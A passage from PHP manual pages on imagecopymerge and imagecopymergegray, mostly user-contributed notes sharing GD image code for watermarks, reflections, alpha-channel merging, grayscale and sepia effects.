        $dst_b = ($srccolor['blue'] * $src_a + $dstcolor['blue'] * $dst_a * (127 - $src_a) / 127) / 127;
        $dst_a = 127 - ($src_a + $dst_a * (127 - $src_a) / 127);
        $color = imagecolorallocatealpha($dst_im, $dst_r, $dst_g, $dst_b, $dst_a);
        // paint
        if (!imagesetpixel($dst_im, $dst_x + $x_offset, $dst_y + $y_offset, $color))
          return false;
        imagecolordeallocate($dst_im, $color);
      }
    }
  return true;
}

// use it like this (identical to imagecopymerge)
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct)
// or this
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct, array('red' => 1, 'green' => 2, 'blue' => 3, 'alpha' =>4))
?>
killing_wombles0000 at hotmail dot com 17-Feb-2011 06:27
Anyone wanting to create a reflecion of an image. Simple process that copies, line by line, from the bottom of the image, a given number of pixels. Each line gets gradually more transparent. Outputs PNG to screen.

This is pretty hot-coded - all four input variables (input image, reflection height, starting transparency, gap between image and reflection) are set manually here.

<?php
    $in = imagecreatefromjpeg('C:\test.jpg');
    $reflection_strength = 120;        //    starting transparency (0-127, 0 being opaque)
    $reflection_height = 40;        //     height of reflection in pixels
    $gap = 10;                        //    gap between image and reflection

    $orig_height = imagesy($in);                                //    store height of original image
    $orig_width = imagesx($in);                                    //    store height of original image
    $output_height = $orig_height + $reflection_height + $gap;    //    calculate height of output image

    // create new image to use for output. fill with transparency. ALPHA BLENDING MUST BE FALSE
    $out = imagecreatetruecolor($orig_width, $output_height);
    imagealphablending($out, false);
    $bg = imagecolortransparent($out, imagecolorallocatealpha($out, 255, 255, 255, 127));
    imagefill($out, 0, 0, $bg);
    imagefilledrectangle($out, 0, 0, imagesx($in), imagesy($in), $bg1);

    // copy original image onto new one, leaving space underneath for reflection and 'gap'
    imagecopyresampled ( $out , $in , 0, 0, 0, 0, imagesx($in), imagesy($in), imagesx($in), imagesy($in));

     // create new single-line image to act as buffer while applying transparency
    $reflection_section = imagecreatetruecolor(imagesx($in), 1);
    imagealphablending($reflection_section, false);
    $bg1 = imagecolortransparent($reflection_section, imagecolorallocatealpha($reflection_section, 255, 255, 255, 127));
    imagefill($reflection_section, 0, 0, $bg1);

    // 1. copy each line individually, starting at the 'bottom' of the image, working upwards.
    // 2. set transparency to vary between reflection_strength and 127
    // 3. copy line back to mirrored position in original
    for ($y = 0; $y<$reflection_height;$y++)
    {
        $t = ((127-$reflection_strength) + ($reflection_strength*($y/$reflection_height)));
        imagecopy($reflection_section, $out, 0, 0, 0, imagesy($in)  - $y, imagesx($in), 1);
        imagefilter($reflection_section, IMG_FILTER_COLORIZE, 0, 0, 0, $t);
        imagecopyresized($out, $reflection_section, $a, imagesy($in) + $y + $gap, 0, 0, imagesx($in) - (2*$a), 1, imagesx($in), 1);
    }

    // output image to view
    header('Content-type: image/png');
    imagesavealpha($out,true);
    imagepng($out);
?>
Fred 24-Sep-2010 08:39
TO merge two images with alpha - use a brush to draw a zero length line in the centre of the target image, using the src img as the brush img. The code probably explains it better:

<?php
$src = imagecreatefromstring(file_get_contents("location of src"));
$dest = imagecreatefromstring(file_get_contents("location of dest"));

// Set the brush
imagesetbrush($dest, $src);
// Draw a couple of brushes, each overlaying each
imageline($dest, imagesx($dest) / 2, imagesy($dest) / 2, imagesx($dest) / 2, imagesy($dest) / 2, IMG_COLOR_BRUSHED);

header('Content-Type: image/png');
imagepng($dest);
?>

This is simple and has reasonable performance.
Sina Salek 09-Aug-2009 10:26
I've just checked PHP's issue tracker and a core developer says that this function was never meant to support alpha channel! and they refused to commit the provided patch! so ridicules
Anyway i tried rodrigo's workaround and it worked quite well, thanks rodrigo for sharing it.
I came up with another idea which is much faster than his solution, (it may need a little bit more memory)

Hope it helps someone.

<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * by Sina Salek
 *
 * Bugfix by Ralph Voigt (bug which causes it
 * to work only for $src_x = $src_y = 0.
 * Also, inverting opacity is not necessary.)
 * 08-JAN-2011
 *
 **/
    function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
        // creating a cut resource
        $cut = imagecreatetruecolor($src_w, $src_h);

        // copying relevant section from background to the cut resource
        imagecopy($cut, $dst_im, 0, 0, $dst_x, $dst_y, $src_w, $src_h);

        // copying relevant section from watermark to the cut resource
        imagecopy($cut, $src_im, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // insert cut resource to destination image
        imagecopymerge($dst_im, $cut, $dst_x, $dst_y, 0, 0, $src_w, $src_h, $pct);
    }

?>
santin1991[at]gmail[dot]com 24-Apr-2009 01:16
Add logo on image script.
<?php
/**
 * Put logo on low right jpeg image
 * used stefan's script for position
 **/
$logo_file = "logo.png";
$image_file = "img.jpg";
$targetfile = "img2.jpg";
$photo = imagecreatefromjpeg($image_file);
$fotoW = imagesx($photo);
$fotoH = imagesy($photo);
$logoImage = imagecreatefrompng($logo_file);
$logoW = imagesx($logoImage);
$logoH = imagesy($logoImage);
$photoFrame = imagecreatetruecolor($fotoW,$fotoH);
$dest_x = $fotoW - $logoW;
$dest_y = $fotoH - $logoH;
imagecopyresampled($photoFrame, $photo, 0, 0, 0, 0, $fotoW, $fotoH, $fotoW, $fotoH);
imagecopy($photoFrame, $logoImage, $dest_x, $dest_y, 0, 0, $logoW, $logoH);
imagejpeg($photoFrame, $targetfile);
echo '<img src="'.$targetfile.'" />';
?>
rodrigo dot polo at gmail dot com 25-Jan-2009 11:52
<?php
/**
 * PNG ALPHA CHANNEL SUPPORT for imagecopymerge();
 * This is a function like imagecopymerge but it handle alpha channel well!!!
 **/

// A fix to get a function like imagecopymerge WITH ALPHA SUPPORT
// Main script by aiden dot mail at freemail dot hu
// Transformed to imagecopymerge_alpha() by rodrigo dot polo at gmail dot com
function imagecopymerge_alpha($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h, $pct){
    if(!isset($pct)){
        return false;
    }
    $pct /= 100;
    // Get image width and height
    $w = imagesx( $src_im );
    $h = imagesy( $src_im );
    // Turn alpha blending off
    imagealphablending( $src_im, false );
    // Find the most opaque pixel in the image (the one with the smallest alpha value)
    $minalpha = 127;
    for( $x = 0; $x < $w; $x++ )
    for( $y = 0; $y < $h; $y++ ){
        $alpha = ( imagecolorat( $src_im, $x, $y ) >> 24 ) & 0xFF;
        if( $alpha < $minalpha ){
            $minalpha = $alpha;
        }
    }
    //loop through image pixels and modify alpha for each
    for( $x = 0; $x < $w; $x++ ){
        for( $y = 0; $y < $h; $y++ ){
            //get current alpha value (represents the TANSPARENCY!)
            $colorxy = imagecolorat( $src_im, $x, $y );
            $alpha = ( $colorxy >> 24 ) & 0xFF;
            //calculate new alpha
            if( $minalpha !== 127 ){
                $alpha = 127 + 127 * $pct * ( $alpha - 127 ) / ( 127 - $minalpha );
            } else {
                $alpha += 127 * $pct;
            }
            //get the color index with new alpha
            $alphacolorxy = imagecolorallocatealpha( $src_im, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
            //set pixel with the new color + opacity
            if( !imagesetpixel( $src_im, $x, $y, $alphacolorxy ) ){
                return false;
            }
        }
    }
    // The image copy
    imagecopy($dst_im, $src_im, $dst_x, $dst_y, $src_x, $src_y, $src_w, $src_h);
}

// USAGE EXAMPLE:
$img_a = imagecreatefrompng('image1.png');
$img_b = imagecreatefrompng('wm2.png');

// SAME COMMANDS:
imagecopymerge_alpha($img_a, $img_b, 10, 10, 0, 0, imagesx($img_b), imagesy($img_b),50);

// OUTPUT IMAGE:
header("Content-Type: image/png");
imagesavealpha($img_a, true);
imagepng($img_a, NULL);
?>
gigitrix 03-Sep-2008 03:01
Some highly amusing stuff: This code appears normal and is a way to cut out slices of an image randomly.

<?php
header("Content-Type: image/jpeg");
$width=837;
$height=771;
$origim = imagecreatefromjpeg("theimage.jpeg"); /* Attempt to open */
$imagetodisplay=imagecreate($width, $height);

for($i=0;$i<=100;$i++)
{
$xPos=rand(0,$width-9);
$yPos=rand(0,$height-9);
imagecopy($imagetodisplay, $origim, $xPos, $yPos , $xPos, $yPos , 10  , 10);
}

imagejpeg($imagetodisplay);
imagedestroy($imagetodisplay);
imagedestroy($origim);
?>

Try running this however and an omitted detail adds to the fun. Since the first colour that is defined is taken to be the background colour, we have a random colour selected from $origim as the background colour for $imagetodisplay, but this random colour is weighted according to the background image. It was a surprise (I thought the bg would be black) but I am now keeping it as it looks good.
eric 10-Jul-2007 10:57
you need to stream the image out after processing ...something like

<?php

// All of your existing code

imagepng($image);

?>
Al 09-Jul-2007 04:23
Check your header... He is false...

<?php
header("Content-Type: image/png");
?>
jay at zylex dot net dot nz 25-Feb-2007 12:45
Hi
i wrote this script to add a watermark image into the bottom right a larger image. Its very basic i know but its all i need for now. It also is an easy function for noobs to grasp. It just takes an two image types as arguments

for example
$image = imagecreatefromjpeg("FILELOCATION");
$insert = imagecreatefrompng("WATERMARKFILELOCATION");
$image = image_overlap($image, $insert);

function image_overlap($background, $foreground){
   $insertWidth = imagesx($foreground);
   $insertHeight = imagesy($foreground);

   $imageWidth = imagesx($background);
   $imageHeight = imagesy($background);

   $overlapX = $imageWidth-$insertWidth-5;
   $overlapY = $imageHeight-$insertHeight-5;
               imagecolortransparent($foreground,
imagecolorat($foreground,0,0));                imagecopymerge($background,$foreground,
$overlapX,$overlapY,0,0,$insertWidth,$insertHeight,100);   return $background;
    }

It doesnt smooth the edges between the two images but it works easily.
jylyn at hotmail dot com 22-Feb-2006 10:49
A few corrections to the code supplied by nick at prient:

$iTemplate should be $iBackground
$iWorking should be $iSource

After fixing those two I found the script really useful, thanks!
nick at prient dot co dot uk 01-Nov-2005 11:15
Task: Rotate a large image, then reduce it in size and place it on a small background (i.e. as an Inset).

Problem: If you resize the image first, the rotation becomes hugely aliased...  So, it makes sense to rotate it first, then shrink it.
Unfortunately, when you resample the image, you lose the background color (at least, some of it may change), so you can no longer set transparancy as you require.  If instead you resize the image (rather than resample), again, the aliasing looks bad.

Solution:  Resize the background - make it bigger.  Then add the original (large) inset, and resize the whole thing back to normal.

<?php
/* We will shrink the inset to 25% */
$resizePercentage = 0.25;

/* Load a source image and a background */
$iSource = ImageCreateFromJpeg($source_file);
$iBackground = ImageCreateFromJpeg($background_file);

/* Do something here, such a rotate, skew etc */
...
/* Assume $iSource is still the image we want to insert onto the background */

/* Set the background color to be transparent */
$cBackground = ImageColorClosest($iSource, 255, 0, 255);
ImageColorTransparent($iSource, $cBackground);

/* Resize the background - make it huge */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) / $resizePercentage, ImageSY($iBackground ) / $resizePercentage);
/* Place the image on the background - all full size, so no aliasing issues */
ImageCopyMerge($iBackground , $iSource,
    ((ImageSX($iBackground ) - ImageSX($iSource)) / 2),
    ((ImageSY($iBackground ) - ImageSY($iSource)) / 2) - 25, 0, 0, ImageSX($iWorking), ImageSY($iSource), 100);
/* Shrink the combined image... no issues with transparancy! */
$iBackground = ImageResize($iTemplate, ImageSX($iBackground ) * $resizePercentage, ImageSY($iBackground ) * $resizePercentage);

/* Output the image as a PNG */
header("Content-Type: image/png");
ImagePng($iBackground);
exit();

function ImageResize($pImage, $t_width, $t_height) {
  // Target image
  $iCanvas = @ImageCreateTrueColor($t_width, $t_height);
  // Source dimensions
  $s_width = ImageSX($pImage);
  $s_height = ImageSY($pImage);
  // Copy image
  ImageCopyResampled($iCanvas, $pImage, 0, 0, 0, 0, $t_width, $t_height, $s_width, $s_height);
  // Return image
  return $iCanvas;
}
?>
Ascent [at] WebAQ.com 24-May-2005 11:41
First you need make 0~9 gif format images and background image.

<?php
/*
make random image number check
20050524 by ascent WebAQ.com
*/

$rands = rand(1000,9999);

session_start();
$_SESSION['random_image_number_check'] = $rands;

$bg = './random_image_bg.jpg';
$numimgp = './random_image_number_%d.gif';

$numimg1 = sprintf($numimgp,substr($rands,0,1));
$numimg2 = sprintf($numimgp,substr($rands,1,1));
$numimg3 = sprintf($numimgp,substr($rands,2,1));
$numimg4 = sprintf($numimgp,substr($rands,3,1));
$ys1 = rand(-4,4);
$ys2 = rand(-4,4);
$ys3 = rand(-4,4);
$ys4 = rand(-4,4);

$bgImg = imageCreateFromJPEG($bg);
$nmImg1 = imageCreateFromGIF($numimg1);
$nmImg2 = imageCreateFromGIF($numimg2);
$nmImg3 = imageCreateFromGIF($numimg3);
$nmImg4 = imageCreateFromGIF($numimg4);
imageCopyMerge($bgImg, $nmImg1, 10, $ys1, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg2, 30, $ys2, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg3, 50, $ys3, 0, 0, 20, 30, 50);
imageCopyMerge($bgImg, $nmImg4, 70, $ys4, 0, 0, 20, 30, 50);
header("Content-type: image/jpg");
ImageJPEG($bgImg,"",100);
imagedestroy($bgImg);
imagedestroy($nmImg1);
imagedestroy($nmImg2);
imagedestroy($nmImg3);
imagedestroy($nmImg4);
?>

enjoy!
Steve 23-May-2005 08:03
Building upon backglancer's and stefan's posts below, the following script will lay a 24-bit PNG watermark over any image.

To prepare a 24-bit watermark, I recommend creating a white logo or text over a transparent background in Photoshop.  Save this as a 24-bit PNG via 'Save for the Web...'.  Be sure to set the transparency of the logo layer in Photoshop itself.  30-40% is a good setting.

Once the assets are prepared, throw the full or relative server paths at the watermark function below:

/******************************************************************/

function watermark($sourcefile, $watermarkfile) {

    #
    # $sourcefile = Filename of the picture to be watermarked.
    # $watermarkfile = Filename of the 24-bit PNG watermark file.
    #

    //Get the resource ids of the pictures
    $watermarkfile_id = imagecreatefrompng($watermarkfile);

    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);

    $fileType = strtolower(substr($sourcefile, strlen($sourcefile)-3));

    switch($fileType) {
        case('gif'):
            $sourcefile_id = imagecreatefromgif($sourcefile);
            break;

        case('png'):
            $sourcefile_id = imagecreatefrompng($sourcefile);
            break;

        default:
            $sourcefile_id = imagecreatefromjpeg($sourcefile);
    }

    //Get the sizes of both pix
  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);
  $watermarkfile_width=imageSX($watermarkfile_id);
  $watermarkfile_height=imageSY($watermarkfile_id);

    $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 );
    $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 );

    // if a gif, we have to upsample it to a truecolor image
    if($fileType == 'gif') {
        // create an empty truecolor container
        $tempimage = imagecreatetruecolor($sourcefile_width,
                                                                            $sourcefile_height);

        // copy the 8-bit gif into the truecolor image
        imagecopy($tempimage, $sourcefile_id, 0, 0, 0, 0,
                            $sourcefile_width, $sourcefile_height);

        // copy the source_id int
        $sourcefile_id = $tempimage;
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0,
                        $watermarkfile_width, $watermarkfile_height);

    //Create a jpeg out of the modified picture
    switch($fileType) {

        // remember we don't need gif any more, so we use only png or jpeg.
        // See the upsaple code immediately above to see how we handle gifs
        case('png'):
            header("Content-type: image/png");
            imagepng ($sourcefile_id);
            break;

        default:
            header("Content-type: image/jpg");
            imagejpeg ($sourcefile_id);
    }

    imagedestroy($sourcefile_id);
    imagedestroy($watermarkfile_id);

}
backglancer in the hotmail 17-May-2005 11:44
I was about to kill myself....
any one of you trying to merge a SEMI transparent png...
use imagecopy   :)
<?
$flag = imagecreatefrompng('flags/images/flagWhiteFill.png');
$mask = imagecreatefrompng('flags/images/flag_transparent.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);

imagecopy($flag, $mask, 0,0,0,0,25,43);

Header("Content-type: image/jpeg");
imagepng($flag);
?>

ImageSaveAlpha(resource, bool);   made the transparent color - not transparent... dunno why :)
barbarina_sv at libero dot it 17-May-2005 10:55
I needed to draw a "pointer" image over a map, but had some problems with png image transparency.
So I created a png image with white background (not transparent) and merged it on my map, after defining white color as transparent:

<?php

$src_file = 'source.jpg';
list($src_w, $src_h, $src_t, $src_a) = getimagesize($src_file);

$ptr_file = 'pointer.png'; // must have no transparency, but white background
list($ptr_w, $ptr_h, $ptr_t, $ptr_a) = getimagesize($ptr_file);

// destination image dimensions:
$dst_w = 400;
$dst_h = 200;

// pointer position:
$ptr_x = 195;
$ptr_y = 70;

$srcImage = imageCreateFromJpeg($src_file) or die ('failed imageCreateFromJpg');
$dstImage = imageCreateTrueColor($dst_w, $dst_h) or die ('failed imageCreateTrueColor');

imageCopyResampled($dstImage, $srcImage, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h) or die ('failed imageCopyResampled');

$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
ingrid 04-Apr-2005 11:16
I found on the internet about a thousand copies of this "imageCopyMerge" script of Stefan.

Most of them had a  copyright notice of the copyist added, but none of them had added what a starting user of PHP scripting really needs: The lines to be used in a HTML page, where the result of the script will be visible:

<?php
$sourcefile = "ORIGFILE.jpg";
$insertfile = "watermark.jpg";
$targetfile = "foto.jpg";
$transition = 30;
$pos=7;
require("watermark.php");
mergePix($sourcefile, $insertfile, $targetfile, $pos, $transition);
echo "<img src=\"$targetfile\">";
?>

I was so lucky to get these lines from someone on the internet, after I posted my question all over the world.
Most other people that replied, referred to the bookstore. But I had first read halve the (this) PHP manual, and had not found it.

Just a suggestion, but I know it will help many people getting started with PHP: When you put your scripts here, why not add those few lines needed to incorporate it into a HTML page?
jtacon at php dot net 14-Dec-2004 02:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg   = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tac�n.
claudio dot gaetani at gdldesign dot it 09-May-2004 08:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com 26-May-2003 08:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";     // hex representation of the color (i.e. #ffffff for white)
$out = "png";       // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
feisty at feistyenterprises dot com 06-Nov-2002 09:15
Yep, that worked a charm.

Since imageCopyMergeGray() is identical, it works just as well for that.

If you want to convert an image to greyscale, use imageCopyMergeGray() with the same image as source and destination, set the pict to 0, et voila!
jonny at sanriowasteland dot net 29-Sep-2002 02:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de 26-Jul-2001 06:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource id�s of the pictures
    $insertfile_id = imageCreateFromJPEG($insertfile);
    $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
    $sourcefile_width=imageSX($sourcefile_id);
    $sourcefile_height=imageSY($sourcefile_id);
    $insertfile_width=imageSX($insertfile_id);
    $insertfile_height=imageSY($insertfile_id);

//middle
    if( $pos == 0 )
    {
        $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//top left
    if( $pos == 1 )
    {
        $dest_x = 0;
        $dest_y = 0;
    }

//top right
    if( $pos == 2 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = 0;
    }

//bottom right
    if( $pos == 3 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//bottom left
    if( $pos == 4 )
    {
        $dest_x = 0;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//top middle
    if( $pos == 5 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = 0;
    }

//middle right
    if( $pos == 6 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//bottom middle
    if( $pos == 7 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//middle left
    if( $pos == 8 )
    {
        $dest_x = 0;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//The main thing : merge the two pix
    imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
    imagejpeg ($sourcefile_id,"$targetfile");

}


Copy and merge part of an image with gray scale

  • « imagecopymerge
  • imagecopyresampled »
  • PHP Manual
  • GD and Image Functions
  • Copy and merge part of an image with gray scale

imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5)

imagecopymergegray — Copy and merge part of an image with gray scale

Description

bool imagecopymergegray ( resource $dst_im , resource $src_im , int $dst_x , int $dst_y , int $src_x , int $src_y , int $src_w , int $src_h , int $pct )

imagecopymergegray() copy a part of src_im onto dst_im starting at the x,y coordinates src_x, src_y with a width of src_w and a height of src_h. The portion defined will be copied onto the x,y coordinates, dst_x and dst_y.

This function is identical to imagecopymerge() except that when merging it preserves the hue of the source by converting the destination pixels to gray scale before the copy operation.

Parameters

dst_im

Destination image link resource.

src_im

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

src_w

Source width.

src_h

Source height.

pct

The src_im will be changed to grayscale according to pct where 0 is fully grayscale and 100 is unchanged. When pct = 100 this function behaves identically to imagecopy() for pallete images, except for ignoring alpha components, while it implements alpha transparency for true colour images.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecopymergegray() usage

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge - Gray = 20%
imagecopymergegray($dest, $src, 10, 10, 0, 0, 100, 47, 20);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

anonymous at domain dot com 17-Oct-2009 12:54
grayscale conversion is built-in with imagefilter().

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>

you could create the sepia effect by the following:

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);
     imagefilter($image, IMG_FILTER_COLORIZE, 112, 66, 20);
     //Wikipedia RGB definition of sepia

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>
amezghal at msn dot com 10-May-2008 02:59
gray effect :)
<?php
header('content-type:image/png');
$url_img = 'my_image.png';
$img = imagecreatefrompng($url_img);
$x = imagesx($img);
$y = imagesy($img);
$gray_img = imagecreatetruecolor($x, $y);
imagecolorallocate($gray_img, 0, 0, 0);
for ($i = 0; $i < $x; $i++) {
  for ($j = 0; $j < $y; $j++) {
    $rgb = imagecolorat($img, $i, $j);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
     //for gray mode $r = $g = $b
    $color = max(array($r, $g, $b));
    $gray_color = imagecolorexact($new_img, $color, $color,   $color);
     imagesetpixel($gray_img, $i, $j, $gray_color);
   }
}
?>
szamil at ginf dot pl 15-Apr-2007 11:17
I've changed a little switch251's code and here we have sephia effect
<?php
   // replace with your files
    $originalFileName    = $filename;
    $destinationFileName = "2".$filename;

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension))
    {
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
